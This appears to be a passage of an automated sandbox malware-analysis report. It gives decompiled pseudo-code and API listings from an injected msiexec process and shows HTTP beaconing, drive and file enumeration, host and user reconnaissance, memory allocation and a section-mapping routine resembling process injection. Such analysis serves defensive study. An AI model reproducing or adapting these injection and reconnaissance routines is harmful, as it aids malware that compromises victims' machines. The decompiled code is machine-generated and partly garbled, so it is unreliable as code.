				 *((long long*)(_t208 + 8)) = __rcx;
				_t206 = _t208 - 0x378;
				_t209 = _t208 - 0x478;
				r12d = 0;
				 *(_t209 + 0x48) = r12d;
				r8d = 0x400;
				 *(_t209 + 0x40) = r12d;
				 *(_t209 + 0x4c) = r12d;
				r15d = r12d;
				 *(_t209 + 0x44) = r12d;
				E00185A30();
				_t235 =  *(_t206 + 0x3e8);
				 *((long long*)(_t235 + 8)) = _t228;
				 *((long long*)(_t209 + 0x60)) = 0x7526b2ff;
				_t203 = _t235 + 8;
				 *_t235 = _t228;
				 *0x7526b2ff(_t237, _t234, _t231, _t228, _t197, _t202, _t148, _t205);
				 *(_t209 + 0x20) = r12d;
				_t137 =  *0x00184CD3 - 0x1e279d6d;
				r9d = 0;
				r8d = 0;
				 *_t137(); // executed
				 *(_t206 + 0x3e8) = _t137;
				_t232 = _t137;
				_t229 = 0x2703197e;
				if(_t135 != 0) {
					 *0x001943D0();
				}
				if(_t232 == 0) {
					L26:
					return r15d;
				}
				r8d =  *(_t206 + 0x3d0) & 0x0000ffff;
				_t187 =  *((intOrPtr*)(_t206 + 0x3c8));
				r9d = 0;
				 *(_t209 + 0x38) = _t137;
				 *(_t209 + 0x30) = 0;
				 *(_t209 + 0x28) = 3;
				 *(_t209 + 0x20) = _t137;
				 *((long long*)( *0x00184B63 - 0x7982611a))(); // executed
				 *(_t209 + 0x58) = _t137;
				if(_t137 == 0) {
					L25:
					 *((long long*)( *0x00184E2A + 0x19427b))();
					goto L26;
				}
				 *(_t209 + 0x40) = 0x84803200;
				 *0x00194260();
				 *(_t209 + 0x38) = _t187;
				 *(_t209 + 0x30) =  *(_t209 + 0x40);
				 *(_t209 + 0x28) = _t187;
				 *(_t209 + 0x20) = 0x19d214;
				 *((long long*)( *0x00184D7A - 0x67636b5b))(); // executed
				_t201 = _t137;
				if(_t137 != 0) {
					 *(_t229 - 0x26e9d5ae)();
				}
				if(_t201 == 0) {
					L23:
					_t153 =  *((intOrPtr*)(0x184e2a)) + 0x19427b;
					 *_t153();
					if(_t201 != 0) {
						 *_t153();
					}
					goto L25;
				} else {
					r9d = 4;
					 *(_t209 + 0x40) = 0x927c0;
					_t155 =  *0x00184DD3 + 0x3130ad;
					 *_t155();
					 *(_t209 + 0x44) = 4;
					 *(_t209 + 0x40) = r15d;
					 *((long long*)( *0x00184BBA + 0x134846))();
					 *(_t209 + 0x40) =  *(_t209 + 0x40) | 0x00000100;
					r9d = 4;
					 *_t155();
					_t239 =  *((intOrPtr*)(_t206 + 0x3e0));
					if(_t239 == 0) {
						_t156 =  *(_t206 + 0x3e8);
						r13d = 0;
						 *(_t209 + 0x50) = _t232;
					} else {
						_t147 =  *_t239;
						r13d =  *(_t239 + 8);
						 *(_t209 + 0x50) = _t147;
						 *((intOrPtr*)(_t209 + 0x60))();
						_t156 = _t147;
						 *(_t209 + 0x48) = 1;
					}
					asm("inc ebp");
					 *(_t209 + 0x20) = r13d;
					r8d = r8d & 0x0000002f;
					_t143 =  *0x00184D23 + 0xcb0c2; // executed
					_t98 =  *_t143(); // executed
					r15d = _t98;
					if(( *(_t209 + 0x48) & 0x00000001) != 0 && _t156 != 0) {
						_t229 = _t229 - 0x26e9d5ae;
						 *_t229();
					}
					if(r15d == 0) {
						_t232 =  *(_t206 + 0x3e8);
					} else {
						_t242 =  *0x00184C7A + 0x58552;
						r12d = 0;
						while(1) {
							 *(_t209 + 0x44) = r12d;
							r8d = 0x400;
							if( *_t242() == 0) {
								break;
							}
							r9d =  *(_t209 + 0x44);
							_t143 = 0x190040;
							 *(_t209 + 0x20) = _t203;
							 *((long long*)(0x190040))();
							 *_t235 = 0x190040;
							if( *(_t209 + 0x44) != r12d) {
								continue;
							}
							break;
						}
						if( *_t235 != 0) {
							 *(_t209 + 0x20) = _t203;
							r9d = 1;
							 *((long long*)(0x190040))();
							 *_t203 =  *_t203 - 1;
							 *_t235 = _t143;
						}
						 *(_t209 + 0x20) = _t229;
						 *((long long*)( *0x00184C1A + 0x118d82))();
						_t232 =  *(_t206 + 0x3e8);
						if( *_t235 == _t229) {
							r15d = r12d;
							r15b =  *(_t209 + 0x4c) == 0xc8;
						} else {
							r15d = 1;
						}
					}
					goto L23;
				}
			}

0x00190170
0x00190170
0x00190175
0x0019017b
0x00190180
0x00190191
0x00190199
0x001901a0
0x001901aa
0x001901af
0x001901b5
0x001901ba
0x001901bf
0x001901c2
0x001901c7
0x001901cc
0x001901e1
0x001901ec
0x001901f1
0x001901fc
0x001901ff
0x00190204
0x00190215
0x0019021b
0x0019021e
0x00190224
0x00190226
0x0019022d
0x00190230
0x0019023a
0x00190249
0x00190249
0x0019024e
0x00190548
0x0019055e
0x0019055e
0x0019025d
0x0019026c
0x00190273
0x00190276
0x0019027e
0x00190282
0x0019028a
0x0019028f
0x00190292
0x0019029a
0x00190536
0x00190546
0x00000000
0x00190546
0x001902a7
0x001902b6
0x001902cf
0x001902e2
0x001902ed
0x001902fc
0x00190306
0x00190309
0x0019030f
0x0019031e
0x0019031e
0x00190323
0x00190517
0x00190523
0x0019052a
0x0019052f
0x00190534
0x00190534
0x00000000
0x00190329
0x00190335
0x0019033b
0x00190343
0x00190351
0x00190365
0x00190372
0x0019037f
0x00190381
0x0019038e
0x0019039b
0x0019039d
0x001903a7
0x001903d7
0x001903de
0x001903e1
0x001903a9
0x001903a9
0x001903b3
0x001903be
0x001903c3
0x001903c7
0x001903ca
0x001903d2
0x001903fa
0x001903fd
0x00190402
0x00190406
0x0019040c
0x00190413
0x00190416
0x0019041d
0x00190427
0x00190427
0x0019042d
0x00190510
0x00190433
0x00190441
0x00190448
0x00190450
0x00190455
0x0019045a
0x0019046d
0x00000000
0x00000000
0x0019046f
0x00190482
0x00190488
0x0019048d
0x0019048f
0x00190497
0x00000000
0x00000000
0x00000000
0x00190497
0x0019049f
0x001904b2
0x001904b7
0x001904bd
0x001904bf
0x001904c2
0x001904c2
0x001904d7
0x001904e9
0x001904eb
0x001904f5
0x00190507
0x0019050a
0x001904f7
0x001904f7
0x001904f7
0x001904f5
0x00000000
0x0019042d

APIs

InternetOpenA.WININET ref: 00190224
InternetConnectA.WININET ref: 0019028F
HttpOpenRequestA.WININET ref: 00190306
HttpSendRequestA.WININET ref: 0019040C

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00191E40, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130

Control-flow Graph

Executed
Not Executed

APIs

GetDriveTypeW.KERNELBASE ref: 00191EE1

Strings

\\?\, xrefs: 00191F03
\, xrefs: 00191F20

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0019A410, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 16%

			E0019A410(intOrPtr __ecx, void* __eflags, long long __rax, intOrPtr _a8) {
				char _v24;
				void* _v32;
				void* _v40;
				char _v48;
				long long _v56;
				long long _v64;
				void* _v72;
				long long _v80;
				signed char _v84;
				signed int _v88;
				long long _v96;
				signed char _v104;
				intOrPtr _v120;
				void* _t48;
				int _t59;
				long long _t72;
				long long _t74;

				_t72 = __rax;
				_a8 = __ecx;
				_v64 = __rax;
				E0018B3B0(E0018B3E0( &_v48, 0x19de88), _t72);
				_v72 =  *0x00182283 - 0x4815a4ec;
				 *_v72();
				_v56 = 0x1921b0;
				r9d = 1;
				r8d = 0;
				_t74 = _v56;
				_t48 =  *_t74();
				_v80 = _t74;
				E0018B3C0(_t48,  &_v48);
				if(_v80 != 0) {
					r9d = 4;
					r8d = 0x3000;
					VirtualAlloc(??, ??, ??, ??); // executed
					_v96 =  *0x001827D3 - 0xb1f547c;
					r8d = 0x50;
					 *0x0018FE50();
					E0018B3B0(E0018B3E0( &_v24, 0x19de88), 0x19de88);
					_v40 =  *((intOrPtr*)(0x182283)) - 0x4815a4ec;
					 *_v40();
					_v32 = 0x19a1a0;
					_v120 = 5;
					if( *_v32() != 0) {
						_v88 = 0;
					} else {
						_v88 = 1;
					}
					_v104 = _v88 & 0x000000ff;
					E0018B3C0(_v88 & 0x000000ff,  &_v24);
					if((_v104 & 0x000000ff) == 0) {
						_v84 = 0;
						r8d = 0x20;
						_t59 = VirtualProtect(??, ??, ??, ??); // executed
						return _t59;
					} else {
						r8d = 0x4000;
						 *((long long*)( *0x001826E3 + 0x3e2fbb))();
						r8d = 0x8000;
						 *((long long*)( *((intOrPtr*)(0x1826e3)) + 0x3e2fbb))();
						return 0;
					}
				}
				return 0;
			}

0x0019a410
0x0019a410
0x0019a422
0x0019a445
0x0019a458
0x0019a465
0x0019a475
0x0019a47a
0x0019a480
0x0019a48b
0x0019a490
0x0019a492
0x0019a49c
0x0019a4a7
0x0019a4bd
0x0019a4c3
0x0019a4d0
0x0019a4d2
0x0019a4e4
0x0019a4f4
0x0019a516
0x0019a529
0x0019a536
0x0019a546
0x0019a54b
0x0019a570
0x0019a57c
0x0019a572
0x0019a572
0x0019a572
0x0019a589
0x0019a595
0x0019a5a1
0x0019a5df
0x0019a5f9
0x0019a609
0x00000000
0x0019a5a3
0x0019a5b0
0x0019a5bd
0x0019a5cc
0x0019a5d9
0x00000000
0x0019a5db
0x0019a5a1
0x00000000

APIs

VirtualAlloc.KERNELBASE ref: 0019A4D0
VirtualProtect.KERNELBASE ref: 0019A609

Strings

ntdll.dll, xrefs: 0019A560

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00191DA0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDriveStringsW.KERNELBASE ref: 00191DBC
GetLogicalDriveStringsW.KERNELBASE ref: 00191DFA

Strings

;K6(, xrefs: 00191DAA

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00198650, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22
sleep

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 00198682
Sleep.KERNELBASE ref: 00198696

Strings

"J, xrefs: 00198684

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018B040, Relevance: 4.7, APIs: 3, Instructions: 200

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExW.KERNELBASE ref: 0018B115
GetComputerNameW.KERNEL32 ref: 0018B16D
GetUserNameW.ADVAPI32 ref: 0018B1AB

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00197640, Relevance: 4.6, APIs: 3, Instructions: 95

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0019765B
Process32FirstW.KERNEL32 ref: 001976C7
Process32NextW.KERNEL32 ref: 00197795

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00199660, Relevance: 3.1, APIs: 2, Instructions: 74thread

APIs

ConvertThreadToFiber.KERNEL32 ref: 0019969A
CreateFiber.KERNEL32 ref: 00199739

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018F0E0, Relevance: 3.0, APIs: 2, Instructions: 47file

APIs

CreateFileMappingA.KERNEL32 ref: 0018F140
MapViewOfFile.KERNEL32 ref: 0018F16D

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00193860, Relevance: 1.6, APIs: 1, Instructions: 110thread

APIs

CreateThread.KERNEL32 ref: 0019398D

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018F990, Relevance: 1.6, APIs: 1, Instructions: 86

APIs

CreateFileW.KERNEL32 ref: 0018F9F0

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018F860, Relevance: 1.6, APIs: 1, Instructions: 58

APIs

FindNextFileW.KERNELBASE ref: 0018F883

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018A8E0, Relevance: 1.6, APIs: 1, Instructions: 55

APIs

MoveFileExW.KERNEL32 ref: 0018A9A2

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018FB30, Relevance: 1.6, APIs: 1, Instructions: 55

APIs

GetFileAttributesW.KERNELBASE ref: 0018FB4D

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018F2A0, Relevance: 1.5, APIs: 1, Instructions: 43

APIs

GetDriveTypeW.KERNELBASE ref: 0018F332

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018F1A0, Relevance: 1.5, APIs: 1, Instructions: 36

APIs

CreateFileW.KERNEL32 ref: 0018F1D9

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018FCB0, Relevance: 1.5, APIs: 1, Instructions: 32

APIs

RtlAllocateHeap.NTDLL ref: 0018FD09

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 00186231, Relevance: 1.5, APIs: 1, Instructions: 24
library

C-Code - Quality: 100%

			E00186231(void* _a8) {
				struct HINSTANCE__* _t2;
				long _t11;
				void* _t14;
				CHAR* _t21;

				if( *0x1a1718 == 0) {
					 *0x001860FD();
				}
				_t2 = LoadLibraryExA(_t21, _t14, _t11); // executed
				return _t2;
			}

0x00186241
0x00186250
0x00186250
0x00186271
0x0018627c

APIs

LoadLibraryExA.KERNELBASE ref: 00186271

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0018FC70, Relevance: 1.5, APIs: 1, Instructions: 12

APIs

HeapCreate.KERNELBASE ref: 0018FC8B

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Function 0019A1A0, Relevance: 1.4, APIs: 1, Instructions: 136

C-Code - Quality: 42%

			E0019A1A0(void* __edi, void* __esp, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _v16;
				void* _v546;
				short _v548;
				long long _v560;
				void* _v568;
				void* _v576;
				long long _v584;
				long long _v592;
				long long _v600;
				signed int _v608;
				signed int _v616;
				void* _t91;
				void* _t111;
				signed long long _t128;

				_t111 = __edi;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v592 = _a24 - _a16;
				_v560 = _a16;
				_v600 = _a16 +  *((intOrPtr*)(_v560 + 0x3c));
				_t128 = _v600 + _v600 + 0x18;
				_v608 = _t128;
				_v584 = 0;
				_v616 = 0;
				while((_v616 & 0x0000ffff) < ( *(_v600 + 6) & 0x0000ffff)) {
					_t128 = _t128 * 0x28;
					if(_v592 < _t128) {
						L6:
						_v616 = (_v616 & 0x0000ffff) + 1;
						continue;
					} else {
						_t128 = _t128 * 0x28;
						if(_v592 > _t128) {
							goto L6;
						} else {
							_v584 = _t128 * 0x28 + _v592 - _v608 * 0x28;
						}
					}
					break;
				}
				if(_v584 != 0) {
					_v576 = 0;
					memset(_t111, 0, 8 << 0);
					_v548 = 0;
					memset(_t111 + 8, 0, 0x208 << 0);
					 *((long long*)( *0x00182533 + 0x243d4b))();
					 *0x00190D00();
					 *((long long*)(0x190d00))();
					if( *0x0018F270() != 0) {
						_v576 = 0x18fe50;
						r8d = _a16;
						 *_v576();
						if(_v600 != 0) {
							HeapFree(); // executed
						}
						_v600 = 0;
						_v592 = 0;
						_t91 = 1;
					} else {
						_t91 = 0;
					}
				} else {
					_t91 = 0;
				}
				return _t91;
			}

0x0019a1a0
0x0019a1a0
0x0019a1a5
0x0019a1aa
0x0019a1af
0x0019a1d2
0x0019a1df
0x0019a1fb
0x0019a20e
0x0019a213
0x0019a218
0x0019a223
0x0019a237
0x0019a252
0x0019a264
0x0019a2cc
0x0019a232
0x00000000
0x0019a266
0x0019a26b
0x0019a291
0x00000000
0x0019a293
0x0019a2c5
0x0019a2c5
0x0019a291
0x00000000
0x0019a264
0x0019a2d7
0x0019a2e0
0x0019a2f8
0x0019a2fc
0x0019a310
0x0019a329
0x0019a34b
0x0019a36e
0x0019a38b
0x0019a3b6
0x0019a3bb
0x0019a3ce
0x0019a3d6
0x0019a3ea
0x0019a3ea
0x0019a3ec
0x0019a3f5
0x0019a3fe
0x0019a38d
0x0019a38d
0x0019a38d
0x0019a2d9
0x0019a2d9
0x0019a2d9
0x0019a40b

APIs

HeapFree.KERNEL32 ref: 0019A3EA

Memory Dump Source

Source File: 00000006.00000002.17397031474.0000000000180000.00000040.sdmp, Offset: 00180000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000_msiexec.jbxd

Non-executed Functions

Function 00195AC0, Relevance: 3.0, Strings: 2, Instructions: 524
Crypto

C-Code - Quality: 59%

			E00195AC0(void* __edi, void* __esp, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, void* _a24) {
				void* _v32;
				void* _v40;
				long long* _v60;
				void* _v582;
				short _v584;
				void* _v608;
				void* _v1086;
				short _v1088;
				char _v1112;
				void* _v1136;
				void* _v1148;
				void* _v1348;
				signed short _v1352;
				intOrPtr _v1356;
				intOrPtr _v1360;
				intOrPtr _v1364;
				void* _v1464;
				signed short _v1468;
				void* _v1472;
				char _v1476;
				signed int _v1480;
				long long _v1484;
				void* _v1492;
				long long _v1564;
				void* _v1568;
				void* _v1572;
				void* _v1576;
				long long _v1580;
				long long _v1584;
				long long _v1592;
				long long _v1596;
				long long _v1604;
				void* _v1618;
				short _v1620;
				signed short _v1632;
				long long _v1640;
				long long _v1648;
				intOrPtr _v1652;
				long long _v1656;
				signed short _v1664;
				long long _v1672;
				void* _v1676;
				long long _v1680;
				long long _v1684;
				long long _v1688;
				long long _v1696;
				long long _v1700;
				long long _v1712;
				long long _v1720;
				void* _v1736;
				long long _v1740;
				long long _v1744;
				long long _v1748;
				signed int _v1752;
				long long _v1756;
				void* _v1760;
				void* _v1764;
				long long _v1772;
				long long _v1776;
				long long _v1780;
				long long _v1784;
				long long _v1792;
				long long _v1800;
				long long _v1804;
				signed short _v1808;
				signed short _v1812;
				signed short _v1816;
				signed short _v1820;
				long long _v1824;
				signed short _v1828;
				long long _v1832;
				intOrPtr _v1836;
				long long _v1840;
				long long _v1844;
				long long _v1852;
				void* _t289;
				void* _t293;
				void* _t364;
				void* _t365;
				void* _t366;
				void* _t367;
				void* _t368;
				void* _t369;
				void* _t371;
				void* _t372;
				void* _t374;
				void* _t376;
				long long _t386;
				long long _t388;
				long long _t390;
				long long _t405;
				long long _t415;
				long long _t417;
				long long _t437;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v1632 = 0;
				 *_a24 = 0;
				if( *0x00191770() >= 6) {
					_v1352 = 0;
					memset(__edi, 0, 0x118 << 0);
					_t371 = __esp + 0xc;
					_t364 = __edi + 0x118;
					_v1364 = 0x11c;
					 *0x00184370();
					if(_v1360 != 0xa || _v1356 != 0 || _v1352 >= 0x3fab) {
						E0018B3B0(E0018B3E0( &_v1476, 0x19df48), 0x19df48);
						_v1484 =  *0x00182093 + 0x30cda7;
						_t386 = _v1484;
						_t289 =  *_t386();
						_v1604 = _t386;
						E0018B3C0(_t289,  &_v1476);
						_t388 =  *0x00182183 - 0x3c53e07e;
						 *_t388();
						_v1596 = _t388;
						_t390 =  *((intOrPtr*)(0x182183)) - 0x3c53e07e;
						 *_t390();
						_v1580 = _t390;
						if(_v1596 == 0 || _v1580 == 0) {
							_t293 = 0;
						} else {
							_v1468 = 0;
							memset(_t364, 0, 0x2c << 0);
							_t372 = _t371 + 0xc;
							_t365 = _t364 + 0x2c;
							 *((long long*)( *0x00182583 + 0x382034))();
							if((_v1480 & 0x0000ffff) == 9) {
								_v1720 = 0;
								_v1640 = 0;
								_v1712 = 0;
								_v1680 = 0;
								_v1696 = 0;
								_v1088 = 0;
								memset(_t365, 0, 0x208 << 0);
								_t366 = _t365 + 0x208;
								_v1684 = 0;
								memset(_t366, 0, 8 << 0);
								_t374 = _t372 + 0x18;
								_t367 = _t366 + 8;
								while(1) {
									_t293 =  *0x0018F270();
									if(_t293 == 0) {
										break;
									}
									_v1816 =  &_v1112;
									r9d = 0;
									r8d = 0;
									 *((long long*)( *0x00184973 - 0x1f9cf987))();
									 *0xFFFFFFFFF4AAED0E();
									_v1592 = 0x190bc0;
									 *0x00190D00();
									_t405 =  *0x00182E8A + 0x69b0b;
									_v1800 = 0;
									_v1808 = 0;
									_v1816 = 2;
									r9d = 0;
									r8d = 1;
									_t293 =  *_t405();
									_v1744 = _t405;
									if(_v1744 != 0xffffffff) {
										_v1816 = 0;
										r8d = _v1688;
										_t293 =  *((long long*)( *0x001818DA - 0x12637a89))();
										if(_t293 != 0) {
											if(_v1744 != 0) {
												 *((long long*)( *0x0018203A - 0x4ec641ef))();
												_v1744 = 0;
											}
											_v1584 = _v1696;
											_v1656 = _v1696 +  *((intOrPtr*)(_v1584 + 0x3c));
											_v1712 = _v1656;
											_v1672 = _v1656 + _v1656 + 0x18;
											_v1752 = 0;
											while(1) {
												_t415 = _v1656;
												if(_v1752 >= ( *(_t415 + 6) & 0x0000ffff)) {
													break;
												}
												if(_v1712 < _v1752 * 0x28 || _v1712 > _v1752 * 0x28) {
													_v1752 = _v1752 + 1;
													continue;
												} else {
													_v1648 = _v1712 - _v1752 * 0x28;
													_v1648 = _v1648 + _v1752 * 0x28;
													_v1576 = 0x18fe50;
													_t415 = _v1576;
													 *_t415();
												}
												break;
											}
											_v1800 = 0;
											_v1808 = 0;
											_v1816 = 0;
											r9d = 0;
											r8d = 0;
											_t293 = _v1632();
											_v1720 = _t415;
											if(_v1720 != 0) {
												_t417 =  *0x00181BDA + 0x2858f6;
												_v1776 = 0;
												_v1784 = 0;
												_v1792 = _v1720;
												_v1800 = 0;
												_v1808 = 0;
												_v1816 = 3;
												r9d = 0;
												r8d = 1;
												_t293 =  *_t417();
												_v1744 = _t417;
												if(_v1744 != 0xffffffff) {
													_v1816 = 0;
													r8d = _v1688;
													_t293 =  *((long long*)( *((intOrPtr*)(0x1818da)) - 0x12637a89))();
													if(_t293 != 0) {
														if(_v1696 != 0) {
															 *0x0018FE30();
														}
														_v1696 = 0;
														_v1688 = 0;
														_v1800 = _v1744;
														_v1808 = 0x1000000;
														_v1816 = 2;
														r9d = 0;
														r8d = 0;
														_t293 =  *((long long*)( *0x00184303 + 0x2248b2))();
														if(_t293 >= 0) {
															 *((long long*)( *0x001823DA - 0x19afc400))();
															_v1568 =  *0x001842B3 - 0x58675f84;
															_v1784 = 0;
															_v1792 = 0;
															_v1800 = 0;
															_v1808 = _v1664;
															_v1816 = 4;
															r8d = 0;
															_t293 =  *_v1568();
															if(_t293 >= 0) {
																_v584 = 0;
																memset(_t367, 0, 0x206 << 0);
																_t368 = _t367 + 0x206;
																_v1620 = 0;
																memset(_t368, 0, 0xe << 0);
																_t376 = _t374 + 0x18;
																_t369 = _t368 + 0xe;
																r9d = 0;
																 *((long long*)( *0x0018136A + 0x1e3f6))();
																 *0x00184220();
																_v1752 = 0;
																_v1792 = 1;
																_v1800 = 0;
																_v1808 = 0;
																_v1816 = 0;
																_v1824 = 0;
																_v1832 = 0;
																_v1840 =  &_v1632;
																r9d = 0;
																r8d = 0;
																_t293 =  *((long long*)( *0x001841B3 + 0x3358ab))();
																if(_t293 >= 0) {
																	_v1648 = 0;
																	_v1584 =  *0x001813C3 + 0x5743b;
																	_v1840 = 4;
																	r9d = 0x3000;
																	_t437 = _v1584;
																	_t293 =  *_t437();
																	_v1648 = _t437;
																	if(_v1648 != 0) {
																		_v1576 =  *0x0018237A - 0x53361165;
																		_v1840 = 0;
																		_t293 =  *_v1576();
																		if(_t293 != 0) {
																			_v1480 = 0;
																			memset(_t369, 0, 0x28 << 0);
																			_t374 = _t376 + 0xc;
																			_t367 = _t369 + 0x28;
																			_v1852 = 0;
																			r9d = 0x30;
																			_t293 =  *0x001841C0();
																			if(_t293 >= 0) {
																				_v1580 = _v1484;
																				_v1572 =  *((intOrPtr*)(0x18237a)) - 0x53361165;
																				_v1852 = 0;
																				r9d = 8;
																				_t293 =  *_v1572();
																				if(_t293 != 0) {
																					 *0x3486890c();
																					_v1564 = 0x190bc0;
																					 *0x705a329f();
																					_v1748 = _v1748 + 0x1956f0;
																					_v1804 = 0;
																					_v1812 = 0;
																					_v1820 = 0;
																					_v1828 = 0;
																					_v1836 = 1;
																					_v1844 = 0;
																					_v1852 = _v1748;
																					r8d = 0;
																					 *((long long*)( *0x00184103 - 0x5b7bdf4e))();
																					_t293 = 0;
																					if(0 != 0) {
																						continue;
																					}
																				} else {
																				}
																			} else {
																			}
																		} else {
																		}
																	} else {
																	}
																} else {
																}
															} else {
															}
														} else {
														}
													} else {
													}
												} else {
												}
											} else {
											}
										} else {
										}
									} else {
									}
									L50:
									if(_v1740 == 0) {
										if(_v1772 != 0) {
											_t293 =  *((long long*)( *0x00181673 - 0x7a9555d))();
										}
										if(_v1772 != 0) {
											_t293 =  *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											_v1772 = 0;
										}
										if(_v1740 != 0) {
											_t293 =  *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
											_v1740 = 0;
										}
									}
									if(_v1756 != 0) {
										_t293 = _v1652();
									}
									if(_v1780 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
										_v1780 = 0;
									}
									if(_v1700 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
										_v1700 = 0;
									}
									if(_v1756 != 0) {
										_t293 =  *((long long*)( *((intOrPtr*)(0x18203a)) - 0x4ec641ef))();
										_v1756 = 0;
									}
									 *_v60 = _v1740;
									goto L66;
								}
								goto L50;
							} else {
								_t293 = 0;
							}
						}
					} else {
						_t293 = 0;
					}
				} else {
					_t293 = 0;
				}
				L66:
				return _t293;
			}

0x00195ac0
0x00195ac5
0x00195aca
0x00195ad7
0x00195aea
0x00195b03
0x00195b0c
0x00195b29
0x00195b29
0x00195b29
0x00195b2b
0x00195b4b
0x00195b55
0x00195b95
0x00195ba8
0x00195bb3
0x00195bbb
0x00195bbd
0x00195bcd
0x00195bd9
0x00195bee
0x00195bf0
0x00195bff
0x00195c14
0x00195c16
0x00195c27
0x00195c34
0x00195c3b
0x00195c3b
0x00195c58
0x00195c58
0x00195c58
0x00195c6f
0x00195c7c
0x00195c85
0x00195c8e
0x00195c9a
0x00195ca3
0x00195caf
0x00195cbd
0x00195cd7
0x00195cd7
0x00195cd9
0x00195cf7
0x00195cf7
0x00195cf7
0x00195cf9
0x00195d16
0x00195d1a
0x00000000
0x00000000
0x00195d36
0x00195d3b
0x00195d3e
0x00195d48
0x00195d63
0x00195d65
0x00195d91
0x00195d9a
0x00195da0
0x00195da9
0x00195db1
0x00195db9
0x00195dbc
0x00195dcf
0x00195dd1
0x00195ddc
0x00195df0
0x00195e01
0x00195e16
0x00195e1a
0x00195e27
0x00195e3b
0x00195e3d
0x00195e3d
0x00195e4e
0x00195e70
0x00195e83
0x00195ea4
0x00195eac
0x00195ec0
0x00195ec0
0x00195ed0
0x00000000
0x00000000
0x00195ef3
0x00195ebc
